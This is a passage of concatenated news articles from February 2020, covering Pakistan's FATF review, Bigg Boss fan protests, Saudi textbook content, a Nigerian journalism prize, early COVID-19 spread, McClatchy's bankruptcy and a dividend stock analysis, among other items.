would remain on the grey list of the FATF. This comes in the back drop of the global terror financing watchdog asking Pakistan to further tighten its laws to bring individuals involved in money laundering and terror financing to task, media reports said on Tuesday. The International Cooperation Review Group (ICRG), a sub-group of the Financial Action Task Force (FATF), evaluated the performance of Pakistan during its ongoing meeting in Paris which would continue until February 21. "The FATF has expressed satisfaction over the steps taken by Pakistan to curb terror financing and demanded that the country further tightens its laws to bring individuals involved in money laundering and terror financing to task," The Express Tribune newspaper reported. Citing the recent conviction of Mumbai attack mastermind and Jamat-ud Dawa chief Hafiz Saeed, the Pakistani officials said that the judicial system in the country was fully independent and the courts were taking decisions on merit, which were being implemented. Tighten laws against terror funding, FATF tells Pakistan The Paris-based FATF observed substantial progress made by Pakistan in the implementation of 14 of the 27 recommendations about the country's anti-money laundering and combating financing of terrorism (AML/CFT) mechanism, Dunya News TV reported. "Pakistan has adopted an effective strategy in the financial sector to curb terror financing and enhanced cooperation between institutions to combat transfer of funds to terrorists," it reported. The meetings of Paris-based FATF began on Monday but the plenary session, which will decide whether to keep Pakistan on the grey list, begins on Wednesday. Pakistan was placed on the 'grey list' by the FATF in June, 2018 and was given a plan of action to complete it by October, 2019 or face the risk of being placed on the 'black list' along with Iran and North Korea. Pakistan needs 12 votes out of 39 to exit the 'grey list' and move to 'white list'. To avoid 'black list', it needs support of three countries. In the last month's FATF meeting in Beijing, Pakistan got support of Malaysia and Turkey besides FATF current chair China. Azhar is not missing: India to call out Pakistan at FATF Local media suggested that FATF will make the final decision about Pakistan on Friday but it is likely to retain it on the current grey list. In the previous FATF review held in October, it was found that while Pakistan has made significant improvements, but it will have to take "extra measures" for "complete" elimination of terror financing and money laundering. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 10:12 [IST] Colors Channel ran one of the most successful seasons of Bigg Boss this year which wrapped up in February. Colors The show was declared super-hit and to milk the popularity of contestants, the channel presented a new show starring Paras Chhabra and Shehnaaz Gill for all Bigg Boss fans. Instagram However, the response to the show has majorly been negative because fans are not very happy with the contestants and the format of the show. After hashtags like #DontLockSanaInsideMSK and #WeWantSidnaazShow, Netizens have now signed a petition asking makers to discontinue the show. Endemol shine India : COLORS PLEASE STOP MUJHSE SHAADI KAROGE SHOW - Sign the Petition! https://t.co/Dj3vch15KF via @Change. #SidNaaz .. my only try to save her Madhuri (@Madhuri00176381) February 20, 2020 The show that revolves around Paras Chhabra and Shehnaaz Gill hunting for their prospective partners hasn't opened up to good reviews. Expressing their feelings on not liking the show, the fans have tweeted saying that instead of making a Swayamvar show, they should make a show with Sidharth Shukla and Shehnaaz Gill in the lead. This demand led to another trending hashtag: #SidNaazShowInDemand. They gave script to that girl to act like Sana & now creating scripted drama around that Audience are not fools they know what is scripted & what is real. Fully scripted drama Can't even tolerate then in promo in episode God can save audience #TwitterKingSid pic.twitter.com/xvveFB9siv chethan #IAmWithSid (@Whateve29013404) February 20, 2020 Showcasing their anger on the channel's decision of using the same Bigg Boss house for MSK, they started tweeting why Sana doesn't deserve to be locked inside. Nobody is asking Sana to leave the show, NO ONE! We only want the concept to change or at least NO LOCK DOWN FOR SANA AND PARAS! This much change can be made. They can shoot daily but should not bound to stay inside 5 days.@ColorsTV @EndemolShineIND#DontLockSanaForMSK (@__ihafsaaxo) February 20, 2020 right now a sidnaaz show is not imp at all right now whats important is SANA AND PARAS KI MENTAL HEALTH YOU DUFFERS Sidharth and shehnaz are two individuals please they can be casted alag alag in shows and songs@ColorsTV the only problem is house arrest #DontLockSanaForMSK (@sanakinanad) February 20, 2020 People filed a petition and urged the channel to replace the show with a #SidNaaz show. Honestly speaking, @ColorsTV is exploiting all three of them -- Sidharth, Paras and Shehnaaz. The least we can do is a) not watch the show, and b) understand our idols. @ColorsTV IS PLAYING WITH EVERYONE'S EMOTIONS. YOU ARE ALL FALLING INTO THE TRAP. And THEY ARE GAINING TRPs. Sidharth Shukla WEB (@TeamSiddShukla) February 21, 2020 ..ITS A REQUEST TO EVRY1 TO STOP WATCHING MUJHSE SHAADI KAROGE ...THE CONCEPT OF MSK IS CRAP....mental health of sana is at stake....3 more months in the same house where she made 1000's of MEMORIES #SidNaaz Gurleen Kaur (@sidnaaz4eva) February 20, 2020 Endemol shine India : COLORS PLEASE STOP MUJHSE SHAADI KAROGE SHOW - Sign the Petition! https://t.co/Dj3vch15KF via @Change. #SidNaaz .. my only try to save her Madhuri (@Madhuri00176381) February 20, 2020 #DontLockSanaForMSK So she"ll be out on weekends Now my next request to @ColorsTV & #MujhseShaadiKaroge team is:- CAN U GUYS CHANGE D NAME OF D SHOW? If u cud name it as YAARAN DA GROUP or smthng relatd to team/warriors & make d concept more coolplz consider & u"ll rock f-S (@Seerat_Hunjan) February 20, 2020 TBH #MujhseShaadiKaroge is a terrible replacement of @BiggBoss you're clearly failing at encashing on the goldmine you had achieved after https://t.co/PfKwmxFlGa will still get TRPs because of the "bait"called #SidNaaz. But you're not winning, and that's sad#SidNaazShowInDemand Iampreksha (@Preksha39779894) February 20, 2020 Hame koi MujhseShaadiKaroge show nai Chahiye hame only #SidNazz wala show Chahiye If you are agree with me than Retweet fast.#FansDemandSidnaazshow#OnlySidNaazMatter#ILoveSana #TwitterKingSid Sidheart (@Sidhsana7400) February 20, 2020 (JNS)The first full review of the Saudi curriculum in more than a decade shows that while improvements have been made, extremist content still exists. For example, Jews are blamed as assassins, described as monkeys, and will be fought and killed in the day of resurrection, according to a new report by IMPACT-se, a research institute that analyzes schoolbooks and curricula in accordance with UNESCO-defined standards on peace and tolerance. Additionally, martyrdom for the sake of Allah remains a godly gift, and Christians and Jews are still called infidels in textbooks for corrupting scriptures and rejecting Muhammad. Some of the theological arguments against Christianity have been softened or removed. The books also teach that Jews and Israelis are eternally treacherous, murdering prophets who commit irreparable evil and determined to harm Muslim holy places. Israel is seen as conspiring and striving to control the Middle East. The textbooks do not teach equality between women and men. Women must obey husbands, who in rare cases are allowed to beat their wives and children, even though womens empowerment is also evident and modern norms advanced. The textbooks state that gay men must be killed. IMPACT-se has presented the report at the White House, National Security Council, State Department and Congress, as well as to top European officials. There is a way to go for Saudi textbooks to meet international standards of peace and tolerance, said IMPACT-se CEO Marcus Sheff in a statement. Improvements have appeared in recent years, and while they are welcomed, there remains too large an amount of unacceptable and intolerant material, especially in religious textbooks for higher grades. Positive change seems to be related to the Vision 2030 plan of Crown Prince Mohammad bin Salman, he continued. He is clearly educating a young generation, including girls, and a new Saudi national identity, entrepreneurship and economic cooperation with the West. Nevertheless, anti-Jewish hatred is still widespread, said Sheff. We see some examples removed, possibly as a result of pressure brought to bear by the U.S. government and of ADL, but Jews are still blamed as assassins, they are described as monkeys, and they will be fought and killed in the day of resurrection, he said. One is left wondering why, if considerable change can be made to gender issues, a similar effort could not be made to remove anti-Jewish hate. Nigerian investigative journalist and joint-winner of the People Journalism Prize for Africa (PJPA) 2019, Fisayo Soyombo, says he is donating his N500,000 cash prize to aid the release of awaiting-trial inmates who have no business in prison. He recently carried out an undercover investigation on Nigerias prison system. Last month, Gatefield Foundation, a Sub-Saharan Africa public strategy firm and organiser of the journalism award, named Mr Soyombo and Kiki Mordi, a BBC journalist who is known for her investigative documentary on sexual harassment in some West African universities, as the inaugural winners of the $3,000 journalism prize (approximately N1 million). They were recognised in Abuja for subjecting themselves to the excruciating torture of the injustice that they sought to expose in telling these stories. Elation Receiving the award alongside his co-winner, Ms Mordi on Thursday, Mr Soyombo said his decision to donate the prize was informed by the sheer feeling of civil responsibility to drive the course of social justice and freedom. My three-part investigation may have focused on the deep-seated corruption tarnishing the administration of criminal justice in Nigeria, but that isnt the only frailty of the system. One other is the huge population of awaiting-trial inmates, many of them actually in prison for trivial offences and others not even deserving of detention much less imprisonment in the first place. At Ikoyi Prison, for example, more than 3,000 inmates inhabit a prison built for 800. Of these 3,000, less than 500 are convicts; the number of awaiting-trial inmates usually hovers around 2,500. While I am not in a position to help the prisons service clean up its corrupt house, by donating this money, I can at least help to kick-start a process Im hoping can snowball into prison decongestion through the freedom of scores of awaiting-trial inmates, Mr Soyombo said. The fund, he said, will be managed by Abimbola Ojenika of The Justice Project whom he described as a man of integrity and a hardworking but silent force for social change. He said the cash will be used to pay stipends to lawyers who will visit prisons to track the cases, ensure more inmates have their days in court, represent the inmates, settle fines where necessary and provide support to the inmates. Aside focusing on the possibility of innocence and frivolity of cases against inmates, women with babies and inmates with young families back home will receive special consideration, he added. Expressing gratitude to his parents, colleagues and all those who helped him with the investigation, he dedicated the award to a late friend whom until her death was one of his biggest cheerleaders. When she passed on September 3, 2018, I made a little promise to myself that my next journalism award would be for her. I want to thank Gatefield for helping me realise this, he said. Win for the people For Ms Mordi, winning the award is a testament to peoples pervasiveness to true journalism and the clamour for social change. Before people would say journalists shouldnt take sides; it has gone beyond that. In the face of injustice and social inequality, we cannot remain silent, she said. The new trend, she said, should be the drive for informed truth that pricks social justice. Complimenting peoples support for her, she promised to strive for the course of justice at all times. Media: democracys oxygen Meanwhile, in his keynote speech, Jude Ilo, Head of Nigeria Office of the Open Society Initiative for West Africa (OSIWA) noted that invigorating journalism is pivotal to the sustainability iof democracy. A nation without journalists by all intents is dead. A democracy without thriving journalists cannot lay claim to being the actual democracy. Media is central to democracy. It is the oxygen of morality and gatekeeper of diversity, he said. Worried about governments attempts at muzzling journalists, Mr Ilo urged journalists to remain resolute in their social commitment to holding the government to account. At the time Nigeria needed to find its footing, it was these journalists that gave us our voice, they are the ones who amplify our voices, he said, recalling military high-handedness on journalists at the time. The price of freedom and the work of journalists is very grave and we should never take it for granted. For you to keep doing this work, it requires the collective appreciation of Nigerians. Advertisements Adding glamour to journalism Adewunmi Emoruwa , Gatefield Lead Strategist, said the PJPA is a public service journalism initiative, instituted to add glints of glamour to the practice of journalism. We believe three very important things: one, journalism matters; two, journalists should be proud of their work; and three, they must be supported and be praised for the job they do, he said. Mr Emoruwa said that authoritarian governments have tried to make the media illegitimate and want people to distrust the media thus the dwindling media trust in Nigeria from 80 per cent in 2006 to 34 per cent now, according to a report by Researchers NG. We need to do it right in the clamour for good journalism by restoring the glamour back to it, he said. He said he hoped their next journalism prize would scale up to $5,000 from its inaugural mark. Meghan, Duchess of Sussex and Prince Harry have been keeping a low profile since their move to Canada. Well, as low as members of the royal family can get. Before they announced that they were stepping down as senior members of the royal family and moved out of the UK, pictures of the couple were everywhere. But now, the royal pair are a lot less accessible to the media. Prince Harry and Meghan Markle | Samir Hussein/Samir Hussein/WireImage If youve missed the Sussexes since Megxit, dont fret. They will be back in the UK for a number of engagements soon. The details of Megxit Earlier this year, Prince Harry and Meghan announced that they wanted to become financially independent and step back from their roles as senior royals. Unfortunately, Queen Elizabeth II determined that there was no way for the two to be financially independent and continue to represent her formally so the pair had to give up their positions as working royals altogether. Despite the decision being reached weeks ago, a spokesperson for the Sussexes has revealed that the changes actually wont go into effect until April 1st. The Duke and Duchess will be spending their time in both the United Kingdom and North America, the spokesperson said in a statement obtained by People. In addition to continuing to work closely with their existing patronages as they build a plan for engagements in the U.K. and the Commonwealth throughout the year, The Duke and Duchess have also been undertaking meetings as part of their ongoing work to establish a new non-profit organization. The details of this new organization will be shared later in the year. When will Prince Harry and Meghan Markle be back in the UK? Before these changes go into effect, Meghan and Harry will go on one last tour of UK events. On Feb.28th, Harry will be at the Invictus Games Choirs recording session. The following week, the couple will attend the Endeavour Fund Awards. On Mar. 6, Harry will participate in the opening of the immersive museum, the Silverstone Experience. Then the next day, he and Meghan will go to the Mountbatten Music Festival at Royal Albert Hall. On Mar. 8, Meghan will ditch her husband to make an appearance for International Womens Day. On Mar. 9th, the pair will wrap up their tour by attending the Commonwealth Day Service at Westminster Abbey with other members of the royal family. What will happen to Prince Harry and Meghan Markle after April 1? As part of this agreement, Harry and Meghan had to step back from their royal duties, which included Harrys military appointments. But there are some things that will remain the same. In general, the themes of their cause related work will remain unchanged, which includes the Commonwealth, community, youth empowerment, and mental health, collectively, the spokesperson said. And in a year, the Queen and her family will revisit this new setup to see if its still working for everyone. As there is no precedent for this new model of working and eventual financial independence, the Royal Family and The Sussexes have agreed to an initial 12-month review to ensure the arrangement works for all parties, the spokesperson said. Kim Brent / The Enterprise Theres nothing new about celebrating Mardi Gras in Southeast Texas, but this year, the location is clearly different. After nearly three decades in Port Arthur, the big festival has shifted to Beaumont. Beaumonters should validate the decision by the City Council to make this move with a festival that is well-attended from start to finish. The fun kicked off last night and runs until Sunday. The weather is expected to cooperate, and thats important, because the Port Arthur location had the back luck to run into more than its share of bad weather. Nothing will make people less inclined to head out for Mardi Gras than cold temperatures or rain. AKRON, Ohio An Akron man who had sex with a underaged teenaged girl after meeting her online was sentenced Thursday to 20 years in prison, according to the Summit County Prosecutors Office. Judge Joy Malek Oldfield also designated Donovan Conley, 48, a Tier II sex offender during Conleys sentencing on four counts of unlawful sexual conduct with a minor and one count of illegal use of a minor in nudity-oriented material. Conley pleaded guilty to the charges in November. When Conley is released, he will have to register with the local sheriff every 180 days for 25 years. Prosecutors say that in September 2015, an Akron woman reported her 15-year-old daughter was missing. Police discovered the teen had run away with Conley, who was 44 at the time, after making contact with him on the app Whisper. Conley and the teen also has been communicating through Facebook, prosecutors say. Conley was was arrested 2015 after authorities discovered he had been having sex with the teen. He was released on bond and managed to elude police until he again was arrested in January 2019. Im pleased knowing Conley will spend a significant amount of time in prison. The community is safer with him locked up, Summit County Prosecutor Bevan Walsh said in a statement. I hope this case serves as a warning to parents and guardians to keep an eye on what your children are doing online. ... People may not realize the dangers of using apps like Whisper, TikTok, Snapchat, KIk, ASK.FM and even Facebook. To comment on this post, please visit our crime and courts comments page. More crime-related content on cleveland.com: Man was driving 80 mph before head-on crash that killed two in Cleveland, police say Richmond Heights man killed behind the wheel in Clevelands Euclid-Green neighborhood Dismembered burning body found in Cleveland is missing head, hands and feet, sources say Former NASA scientist, nuclear submarine officer faces prison for fatal high-speed drunken driving crash in Cleveland Heights Cleveland police want data from countys crime-sharing program, but dont want to share information with other cities Tennessee authorities are looking for a 15-month-old who was last seen two months ago. An AMBER alert was issued for Evelyn Mae Boswell who was reported missing this week. But according to the Tennessee Bureau of Investigation (TBI), she was last seen on Dec. 26. AMBER ALERT: We need your help to locate 15-month-old Evelyn Mae Boswell, who is missing from Sullivan County. If you have seen Evelyn, please call the Sullivan County Sheriffs Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. #TNAMBERAlert pic.twitter.com/wL3cKkswsh Tennessee Bureau of Investigation (@TBInvestigation) February 20, 2020 The day before yesterday, a family member of this missing child reported in a department of childrens services referral about the child being missing, Sullivan County Sheriffs Office spokesman Capt. Andy Seabolt told CNN affiliate WCYB. He told the news station that investigators are trying to understand why there was a lapse in time in the child being reported missing. Right now were not sure of her exact location, Seabolt said. It could be anywhere from what we know. Were conducting the investigation and obviously were talking to as many people as weve come in contact with that knew about the child. We want to know why the child was not reported missing earlier, he added, according to the news station. The toddler has blonde hair and blue eyes, police said, and was last seen wearing a pink tracksuit, pink shoes and a pink bow. If you have any information regarding the whereabouts of Evelyn, please contact the Sullivan County Sheriffs Office at 423-279-7330 or the TBI at 1-800-TBIFIND, a news release from TBI reads. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. Auckland, New Zealand -- (SBWIRE) -- 02/21/2020 -- iLender Mortgage, a well-known mortgage broker Auckland firm, is now helping customers who cannot get a mortgage because of bad credit or no proof of income, especially the self-employed, to access easy home loans. True to their slogan of "We make it happen", the New Zealand mortgage experts, have proved to be the most trusted mortgage broker in New Zealand by offering the best mortgage rates and favourable conditions for potential homeowners, such as 10% deposit for owner-occupied homes, 20% investment, and assistance to self-employed loan seekers with no financials as well as those with bad credit and arrears. The mortgage broker is also known for putting the customer first. The company provides its services to customers based in Auckland, other parts of New Zealand, and even overseas. iLender caters to people with all types of mortgage rates including first-time home buyers and those looking for refinancing or even moving home. Their services have now been extended to mortgage seekers with a poor credit history or self-employed individuals without concrete financial statements. These are the kind of customers most banks often ignore or even deny loans. Finding the best home loan in New Zealand with the help of iLender Mortgage is quite easy. All the loan applicant needs to do is simply call 0800 536 337 to speak to one of the company's representatives and get the best home loan deal suited to his or her unique circumstances. "For those asking how a mortgage broker can find mortgages for people who are not able to get a home loan for themselves, iLender has all the answers," says one of the company's representatives. "If you can't get a mortgage by yourself, we'll help you get reliable mortgage lenders even when you have bad credit or are self-employed with no proof of income." He added. "This is because mortgage brokers in New Zealand have access to products that borrowers cannot get directly such as Low Doc and Designer Mortgages, which are provided at bank rates or a little bit over." About iLender Mortgage iLender is a leading mortgage broker company in new Zealand that prides itself on putting the customer's interest first. The mortgage broker is based in Auckland but specialises in helping customers from other parts of New Zealand and overseas to get home loans and buy property in New Zealand. iLender is independent of any bank or lender, has been in the mortgage market for over 20 years, and is one of the highest-rated mortgage lenders on TradeMe. iLender can arrange mortgages for bad credit and no proof of income although such loans can be a little more expensive than conventional mortgages and might require higher deposits. The goal is to help every customer get a Bank mortgage as soon as possible. For More Information, Please Visit ilender.co.nz Contact Us :- iLender Mortgage experts Whangaparaoa Auckland New Zealand 1800 016744 First suggested for killer whales, skin molt may drive long-distance migration for all whales that forage in cold waters Whales undertake some of the longest migrations on earth, often swimming many thousands of miles, over many months, to breed in the tropics. The question is why--is it to find food, or to give birth? In a research paper in Marine Mammal Science, scientists propose that whales that forage in polar waters migrate to low latitudes to maintain healthy skin. "I think people have not given skin molt due consideration when it comes to whales, but it is an important physiological need that could be met by migrating to warmer waters," said Robert Pitman, lead author of the new paper and marine ecologist with Oregon State University's Marine Mammal Institute. He was formerly with NOAA Fisheries' Southwest Fisheries Science Center in La Jolla, California. More than a century ago, whalers recognized that most whales that forage in high latitudes migrate to the tropics for calving. Scientists have never agreed on why. Because of their size, large whales should be able to successfully give birth in frigid polar waters. Due to reduced feeding opportunities in the tropics, most whales fast during their months-long migrations. So why go to the trouble? Warm Water Speeds Molting All birds and mammals regularly shed their skin, fur, or feathers in a process known as molting. Pitman and his coauthors propose that whales foraging in the freezing waters of Antarctica conserve body heat by diverting blood flow away from their skin. That would reduce regeneration of skin cells and halt the normal sloughing of skin. Migrating to warmer water would allow whales to revive their skin metabolism and molt in an environment that does not sap their body heat. The authors suggest that this drives their migrations. The two lead authors on the study first proposed in 2011 that skin molt could drive the migration for certain Antarctic killer whales. With new data, they now propose the same for all Antarctic killer whales and possibly all whales that migrate to the tropics. Coauthors on the paper include scientists from NOAA Fisheries; SeaLife Response, Rehabilitation, and Research; and the Italian National Institute for Environmental Protection and Research. Over eight years, scientists deployed 62 satellite tags on killer whales. They found that all four types that feed in frigid Antarctic waters migrated as far as 11,000 kilometers (almost 7,000 miles) round trip. Most migrations were fast, non-stop, and largely straight north and back. One whale completed two such migrations in 5.5 months. Researchers also photographed newborn killer whale calves in Antarctica, indicating the whales don't need to migrate to warmer waters to give birth. They suggest that larger whales that migrate to the tropics to molt may have begun giving birth in those same warmer waters. "Instead of whales migrating to the tropics or subtropics for calving, whales could be traveling to warm waters for skin maintenance and perhaps find it adaptive to bear their calves while they are there," the scientists wrote. The warm water could speed the growth of calves in an environment with far fewer killer whales, their main predator. Much like humans, whales and dolphins normally shed outer skin cells continuously. Scientists observed that whales in frigid Antarctic waters are often discolored by a thick yellow film of microscopic diatoms. This indicated that they were not experiencing their normal, "self-cleaning" skin molt. Early whalers referred to blue whales with a heavy coating of diatoms on their white bellies as "sulfur-bottoms." They also assumed that whales without a diatom coating were likely recent arrivals from the tropics. When whales shed their skin, they also shed the diatoms. Molting Jettisons Harmful Bacteria Recent studies have found that high concentrations of diatoms on the skin of Antarctic killer whales may also accumulate potentially harmful bacteria. "Basically, the feeding is so good in productive Antarctic waters that the relatively small, warm-blooded killer whale has evolved a remarkable migration behavior. This enables it to exploit these resources and still maintain healthy skin function," said John Durban, coauthor of the research, formerly with the science center and now a senior scientist at SEA Inc. In another example, beluga whales in the Arctic are known for gathering in summer in river estuaries. The water there is warmer, fresher, and shallower than their typical habitat. At first, scientists assumed that they gathered there to give birth and that the warmer temperatures boosted calf survival. It turned out that belugas do not calve or feed in the estuaries but go there to molt. In an earlier study, an Inuit hunter pointed out that "Belugas go to the rivers for warmth. And like seals they moult their skins. They moult in the warm water." The annual (versus continuous) molt cycle of the beluga was long thought to be unique among cetaceans. But, if whales are migrating to the tropics to molt, annual molt "may prove to be the rule among all high-latitude cetaceans," the authors wrote. In terms of biomass, whales complete the largest annual migrations on earth. They transport millions of tons of animals thousands of miles, with significant impact on local ecosystems, the scientists say. They also call for further testing of their hypothesis by assessing skin growth of migratory and non-migratory whales, at high and low latitudes, throughout the year. ### Commenting on student activist who raised 'pro-Pakistan' slogans at an anti-CAA rally, Karnataka Chief Minister B S Yediyurappa, on Friday, has claimed that the activist - Amulya Leona had links with Maoist groups. Moreover, he claimed that it was important to investigate the organisation who supported Amulya. Sources have reported that the Bengaluru police will also book the organisers and some people present on stage at the Owaisi rally against CAA-NRC-NPR. Pro-Pak sloganeer at Owaisi rally charged with sedition, sent to 14-day judicial custody Karnataka CM claims 'Sloganeer had Maoist links' Sources report that the Karnataka Home Minister Basavaraj Bommai is currently probing into Leona's alleged Maoist links. Moreover, sources report that Leona hails from Chikmangaluru and has openly stated that her statements were according scripts given to her by several groups supporting her. She has currently been sent to 14-day judicial custody after being charged with sedition. "Bail should not be given to Amulya (who raised 'Pakistan zindabad' slogan at anti-CAA rally in Bengaluru, yesterday). Her father has also said he won't protect her. It is proved now that she had contacts with Naxals. Proper punishment should be given," said Yediyurappa. Chaos at Owaisi rally: Activist's slogans see her pulled off stage; AIMIM chief distances The Bengaluru Police Commissioner has confirmed that those who organised such an event and gave Amulya a platform to make such a statement will be booked. Moreover, he added stringent conditions will be put forth to prevent such incidences. The police is also mulling to tighten the conditions to hold such protests, report sources. Asaduddin Owaisi condemns activist's 'Pakistan Zindabad' chant at his event, demands probe Activist raises 'pro-Pak' slogans Earlier on Thursday, Leona had disrupted an address by AIMIM chief Asaduddin Owaisi and raised 'pro-Pakistan' slogans at a Bengaluru anti-CAA rally. Visuals show that the 19-year old student had grabbed Owaisi's mike and raised certain slogans during the address, which led to Owaisi reprimanding her and the police taking her away. The activist who raised 'Pakistan Zindabad' was heckled out by those on the stage and taken away by police. Owaisi condemns 'Pro-Pak' slogans Condemning Leona's statement, Owaisi demanded an inquiry into the matter by the organisers of the event. He also reaffirmed that he and his party were not related to or endorsed Leona's remark. The Hyderabad MP maintained that for AIMIM it was always 'Bharat Zindabad' and they had nothing to do with Pakistan. AIMIM's Waris Pathan makes hateful '15 cr vs 100 cr' threat, echoes Akbaruddin Owaisi Beijing Chinese health officials expressed new optimism Thursday over the deadly virus outbreak while authorities in South Korea's fourth-largest city urged residents to hunker down as fears nagged communities far from the illness' epicenter. The confidence voiced by China's government came as it reported a reduced number of new infections. But doubts remained about the true trajectory of the epidemic as China again changed its method of counting and new threats emerged outside the country. "The downward trend will not be reversed," insisted Ding Xiangyang, deputy chief secretary of the State Council and a member of the central government's supervision group. Whatever promises were aired where the illness poses its biggest threat, countries around the world continued to grapple with the rippling effects. The latest front in the widening global fight against COVID-19 emerged in Daegu, South Korea, where the city's 2.5 million residents were urged to stay inside, wearing masks even indoors to stem further infection. Mayor Kwon Young-jin made a nationally televised appeal for those preventative measures, warning that a rash of new cases could overwhelm the health system. He pleaded for help from the country's central government. Daegu and surrounding towns reported 35 new cases of the coronavirus on Thursday. The flare-up came more than 900 miles from COVID-19's epicenter across the Yellow Sea in China's Hubei province and its capital of Wuhan, a sign of the risks the virus potentially poses to communities across the region and beyond. "Everything that is not known about this is causing concern," said Dr. David Heymann, a professor of infectious disease epidemiology at the London School of Hygiene and Tropical Medicine. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Though all but about 1,000 of more than 75,000 reported cases of COVID-19 have been recorded in China, scattered cases have erupted elsewhere. Iran announced three more infections Thursday, a day after it reported its first two deaths stemming from the virus, and South Korea reported its first fatality. Japan said two former passengers of the Diamond Princess cruise ship had died of the illness, bringing the death toll there to three. A total of 11 deaths have been confirmed outside mainland China, including two in Hong Kong and one each in France, the Philippines and Taiwan. The trajectory of the outbreak remained clouded by China's zigzagging daily reports of new cases and shifting ways of tallying them. The number of new cases in China declined again Thursday, to 394, a notable shift from the 1,749 figure released a day earlier. Another 114 deaths in China were linked to the virus. McClatchy Co., the fifth-largest newspaper company in the U.S. by circulation according to Statista, filed for bankruptcy Thursday, the company announced. According to the company which publishes dozens of newspapers across the country, including the Miami Herald, Sacramento Bee, Kansas City Star, Idaho Statesman, Fresno Bee and Charlotte Observer this is a move that will end family control of Americas second-largest local news company and hand it to creditors who have expressed support for independent journalism. The filing will also, it says, allow McClatchy to restructure its debts and, it hopes, shed much of its pension obligations. If the court accepts the plan submitted Thursday, McClatchy would be operated by hedge fund Chatham Asset Management LLC as a previously held company. The announcement notes that more than 7 million shares of publicly available and protected family-owned stock would be canceled. Also Read: McClatchy Seeks Federal Bailout of Pension Fund While this is obviously a sad milestone after 163 years of family control, McClatchy remains a strong operating company and committed to essential local news and information, said chairman Kevin McClatchy in a public statement. While we tried hard to avoid this step, theres no question that the scale of our 75-year-old pension plan with 10 pensioners for every single active employee is a reflection of another economic era. In November 2019, McClatchy announced it was looking for a bailout of its pension fund. In reporting its third-quarter results at that time, McClatchy said it is negotiating capital and pension restructuring with PBGC and key stakeholders. McClatchy was in talks with the federal government about possibly taking over its pension fund as it was unable to make a $124 million contribution due through 2020. Read original story McClatchy, Owner of Miami Herald and Sacramento Bee, Files for Bankruptcy At TheWrap Hearst Connecticut Media file photo GREENWICH A Milford police detective is facing a criminal charge after he was arrested in an incident at a Greenwich hotel restaurant. Brien McMahon Jr., 43, is due in Superior Court Feb. 27 to answer a misdemeanor charge of disorderly conduct that arose from his alleged behavior at The Delamar on Greenwich Harbor shortly before 11 p.m. last Saturday. He is a longtime officer in Milford who has advanced to the rank of detective. Today we'll take a closer look at Churchill China plc (LON:CHH) from a dividend investor's perspective. Owning a strong business and reinvesting the dividends is widely seen as an attractive way of growing your wealth. Unfortunately, it's common for investors to be enticed in by the seemingly attractive yield, and lose money when the company has to cut its dividend payments. A slim 1.5% yield is hard to get excited about, but the long payment history is respectable. At the right price, or with strong growth opportunities, Churchill China could have potential. Some simple research can reduce the risk of buying Churchill China for its dividend - read on to learn more. Click the interactive chart for our full dividend analysis AIM:CHH Historical Dividend Yield, February 21st 2020 Payout ratios Dividends are typically paid from company earnings. If a company pays more in dividends than it earned, then the dividend might become unsustainable - hardly an ideal situation. Comparing dividend payments to a company's net profit after tax is a simple way of reality-checking whether a dividend is sustainable. Churchill China paid out 42% of its profit as dividends, over the trailing twelve month period. This is a medium payout level that leaves enough capital in the business to fund opportunities that might arise, while also rewarding shareholders. One of the risks is that management reinvests the retained capital poorly instead of paying a higher dividend. We also measure dividends paid against a company's levered free cash flow, to see if enough cash was generated to cover the dividend. Churchill China paid out 118% of its free cash flow last year, suggesting the dividend is poorly covered by cash flow. Churchill China paid out less in dividends than it reported in profits, but unfortunately it didn't generate enough free cash flow to cover the dividend. Cash is king, as they say, and were Churchill China to repeatedly pay dividends that aren't well covered by cashflow, we would consider this a warning sign. Story continues With a strong net cash balance, Churchill China investors may not have much to worry about in the near term from a dividend perspective. Remember, you can always get a snapshot of Churchill China's latest financial position, by checking our visualisation of its financial health. Dividend Volatility One of the major risks of relying on dividend income, is the potential for a company to struggle financially and cut its dividend. Not only is your income cut, but the value of your investment declines as well - nasty. For the purpose of this article, we only scrutinise the last decade of Churchill China's dividend payments. During this period the dividend has been stable, which could imply the business could have relatively consistent earnings power. During the past ten-year period, the first annual payment was UK0.14 in 2010, compared to UK0.29 last year. Dividends per share have grown at approximately 7.6% per year over this time. Businesses that can grow their dividends at a decent rate and maintain a stable payout can generate substantial wealth for shareholders over the long term. Dividend Growth Potential While dividend payments have been relatively reliable, it would also be nice if earnings per share (EPS) were growing, as this is essential to maintaining the dividend's purchasing power over the long term. It's good to see Churchill China has been growing its earnings per share at 23% a year over the past five years. Earnings per share have rocketed in recent times, and we like that the company is retaining more than half of its earnings to reinvest. However, always remember that very few companies can grow at double digit rates forever. Conclusion When we look at a dividend stock, we need to form a judgement on whether the dividend will grow, if the company is able to maintain it in a wide range of economic circumstances, and if the dividend payout is sustainable. First, we like Churchill China's low dividend payout ratio, although we're a bit concerned that it paid out a substantially higher percentage of its free cash flow. We like that it has been delivering solid improvement in its earnings per share, and relatively consistent dividend payments. Overall we think Churchill China is an interesting dividend stock, although it could be better. Now, if you want to look closer, it would be worth checking out our free research on Churchill China management tenure, salary, and performance. Looking for more high-yielding dividend ideas? Try our curated list of dividend stocks with a yield above 3%. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. China on Thursday touted a big drop in new virus infections as proof its epidemic control efforts are working, but the toll grew abroad with deaths in Japan and South Korea. Fatalities in China hit 2,118 as 114 more people died, but health officials reported the lowest number of new cases in nearly a month, including in hardest-hit Hubei province. More than 74,000 people have been infected by the new coronavirus in China, and hundreds more in over 25 countries. The number of deaths outside mainland China climbed to 11. Japan's toll rose to three as a man and a woman in their 80s who had been aboard a quarantined cruise ship died, while fears there mounted over other passengers who disembarked the Diamond Princess after testing negative. South Korea reported its first death, and the number of infections in the country nearly doubled Thursday to 104. Iran reported two deaths on Wednesday and three new cases Thursday. Deaths have previously been confirmed in France, the Philippines, Taiwan and Hong Kong. Chinese officials say their drastic containment efforts, including quarantining tens of millions of people in Hubei and restricting movements in 